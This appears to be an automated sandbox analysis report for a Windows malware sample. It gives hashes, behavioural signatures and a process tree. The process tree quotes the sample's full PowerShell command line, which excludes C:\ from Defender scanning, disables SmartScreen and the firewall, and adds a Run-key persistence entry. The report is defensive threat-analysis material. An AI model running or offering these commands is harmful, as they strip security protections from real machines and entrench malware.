Analysis
-
max time kernel
300s -
max time network
178s -
platform
windows10_x64 -
resource
win10-20220414-en -
resource tags
arch:x64arch:x86image:win10-20220414-enlocale:en-usos:windows10-1703-x64system -
submitted
11-08-2022 22:15
Behavioral task
behavioral1
Sample
8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
Resource
win7-20220718-en
Behavioral task
behavioral2
Sample
8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
Resource
win10-20220414-en
General
-
Target
8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe
-
Size
3.8MB
-
MD5
debb7adbe78865c8950deb98364378f6
-
SHA1
f705f91f018d64d135193115044f8e838c34f869
-
SHA256
8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154
-
SHA512
719427e6b19f63f9d1175c7a3765cc4c9aa61af041f2f4699b2498ec6fb540928a903bf2f6c1dd88fa3ad420e5823d52212c3d5374d15a4dea4f04dbb34bdfde
Malware Config
Signatures
-
Modifies security service 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Start = "4" powershell.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
Processes:
8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe -
Downloads MZ/PE file
-
Executes dropped EXE 3 IoCs
Processes:
UpSys.exeUpSys.exeUpSys.exepid process 976 UpSys.exe 5096 UpSys.exe 3556 UpSys.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe -
Drops startup file 1 IoCs
Processes:
8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe -
Processes:
resource yara_rule behavioral2/memory/2552-118-0x00007FF7A9790000-0x00007FF7AA102000-memory.dmp themida behavioral2/memory/2552-120-0x00007FF7A9790000-0x00007FF7AA102000-memory.dmp themida C:\ProgramData\MicrosoftNetwork\System.exe themida behavioral2/memory/2552-228-0x00007FF7A9790000-0x00007FF7AA102000-memory.dmp themida -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinNet = "C:\\ProgramData\\MicrosoftNetwork\\System.exe" powershell.exe -
Processes:
8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exepid process 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies data under HKEY_USERS 52 IoCs
Processes:
powershell.exeUpSys.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" UpSys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" UpSys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ UpSys.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" UpSys.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" UpSys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exe8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exeUpSys.exeUpSys.exepowershell.exepid process 4592 powershell.exe 4592 powershell.exe 4592 powershell.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 976 UpSys.exe 976 UpSys.exe 976 UpSys.exe 976 UpSys.exe 5096 UpSys.exe 5096 UpSys.exe 5096 UpSys.exe 5096 UpSys.exe 4672 powershell.exe 4672 powershell.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 4672 powershell.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe -
Suspicious use of AdjustPrivilegeToken 34 IoCs
Processes:
powershell.exeUpSys.exeUpSys.exepowershell.exedescription pid process Token: SeDebugPrivilege 4592 powershell.exe Token: SeIncreaseQuotaPrivilege 4592 powershell.exe Token: SeSecurityPrivilege 4592 powershell.exe Token: SeTakeOwnershipPrivilege 4592 powershell.exe Token: SeLoadDriverPrivilege 4592 powershell.exe Token: SeSystemProfilePrivilege 4592 powershell.exe Token: SeSystemtimePrivilege 4592 powershell.exe Token: SeProfSingleProcessPrivilege 4592 powershell.exe Token: SeIncBasePriorityPrivilege 4592 powershell.exe Token: SeCreatePagefilePrivilege 4592 powershell.exe Token: SeBackupPrivilege 4592 powershell.exe Token: SeRestorePrivilege 4592 powershell.exe Token: SeShutdownPrivilege 4592 powershell.exe Token: SeDebugPrivilege 4592 powershell.exe Token: SeSystemEnvironmentPrivilege 4592 powershell.exe Token: SeRemoteShutdownPrivilege 4592 powershell.exe Token: SeUndockPrivilege 4592 powershell.exe Token: SeManageVolumePrivilege 4592 powershell.exe Token: 33 4592 powershell.exe Token: 34 4592 powershell.exe Token: 35 4592 powershell.exe Token: 36 4592 powershell.exe Token: SeDebugPrivilege 976 UpSys.exe Token: SeAssignPrimaryTokenPrivilege 976 UpSys.exe Token: SeIncreaseQuotaPrivilege 976 UpSys.exe Token: 0 976 UpSys.exe Token: SeDebugPrivilege 5096 UpSys.exe Token: SeAssignPrimaryTokenPrivilege 5096 UpSys.exe Token: SeIncreaseQuotaPrivilege 5096 UpSys.exe Token: SeDebugPrivilege 4672 powershell.exe Token: SeBackupPrivilege 4592 powershell.exe Token: SeBackupPrivilege 4592 powershell.exe Token: SeRestorePrivilege 4592 powershell.exe Token: SeSecurityPrivilege 4592 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exepowershell.exeUpSys.exedescription pid process target process PID 2552 wrote to memory of 4592 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe powershell.exe PID 2552 wrote to memory of 4592 2552 8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe powershell.exe PID 4592 wrote to memory of 976 4592 powershell.exe UpSys.exe PID 4592 wrote to memory of 976 4592 powershell.exe UpSys.exe PID 4592 wrote to memory of 2436 4592 powershell.exe netsh.exe PID 4592 wrote to memory of 2436 4592 powershell.exe netsh.exe PID 3556 wrote to memory of 4672 3556 UpSys.exe powershell.exe PID 3556 wrote to memory of 4672 3556 UpSys.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe"C:\Users\Admin\AppData\Local\Temp\8c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Drops startup file
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty –Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run –Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)2⤵
- Modifies security service
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\UpSys.exe"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\UpSys.exe"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\UpSys.exe"C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe5⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\MicrosoftNetwork\System.exeFilesize
3.8MB
MD5debb7adbe78865c8950deb98364378f6
SHA1f705f91f018d64d135193115044f8e838c34f869
SHA2568c8a3e642b00f27e639ba7feb83a33e11e66ea5f4ecee08f589cc7774c7db154
SHA512719427e6b19f63f9d1175c7a3765cc4c9aa61af041f2f4699b2498ec6fb540928a903bf2f6c1dd88fa3ad420e5823d52212c3d5374d15a4dea4f04dbb34bdfde
-
C:\ProgramData\UpSys.exeFilesize
923KB
MD5efe5769e37ba37cf4607cb9918639932
SHA1f24ca204af2237a714e8b41d54043da7bbe5393b
SHA2565f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2
SHA51233794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1
-
C:\ProgramData\UpSys.exeFilesize
923KB
MD5efe5769e37ba37cf4607cb9918639932
SHA1f24ca204af2237a714e8b41d54043da7bbe5393b
SHA2565f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2
SHA51233794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1
-
C:\ProgramData\UpSys.exeFilesize
923KB
MD5efe5769e37ba37cf4607cb9918639932
SHA1f24ca204af2237a714e8b41d54043da7bbe5393b
SHA2565f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2
SHA51233794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1
-
C:\ProgramData\UpSys.exeFilesize
923KB
MD5efe5769e37ba37cf4607cb9918639932
SHA1f24ca204af2237a714e8b41d54043da7bbe5393b
SHA2565f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2
SHA51233794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1
-
memory/976-157-0x0000000000000000-mapping.dmp
-
memory/2436-163-0x0000000000000000-mapping.dmp
-
memory/2552-119-0x00007FFCCF0C0000-0x00007FFCCF29B000-memory.dmpFilesize
1.9MB
-
memory/2552-120-0x00007FF7A9790000-0x00007FF7AA102000-memory.dmpFilesize
9.4MB
-
memory/2552-229-0x00007FFCCF0C0000-0x00007FFCCF29B000-memory.dmpFilesize
1.9MB
-
memory/2552-118-0x00007FF7A9790000-0x00007FF7AA102000-memory.dmpFilesize
9.4MB
-
memory/2552-228-0x00007FF7A9790000-0x00007FF7AA102000-memory.dmpFilesize
9.4MB
-
memory/4592-126-0x0000016CFB150000-0x0000016CFB172000-memory.dmpFilesize
136KB
-
memory/4592-129-0x0000016CFB6D0000-0x0000016CFB746000-memory.dmpFilesize
472KB
-
memory/4592-121-0x0000000000000000-mapping.dmp
-
memory/4672-166-0x0000000000000000-mapping.dmp
-
memory/4672-211-0x00000221F18F0000-0x00000221F192C000-memory.dmpFilesize
240KB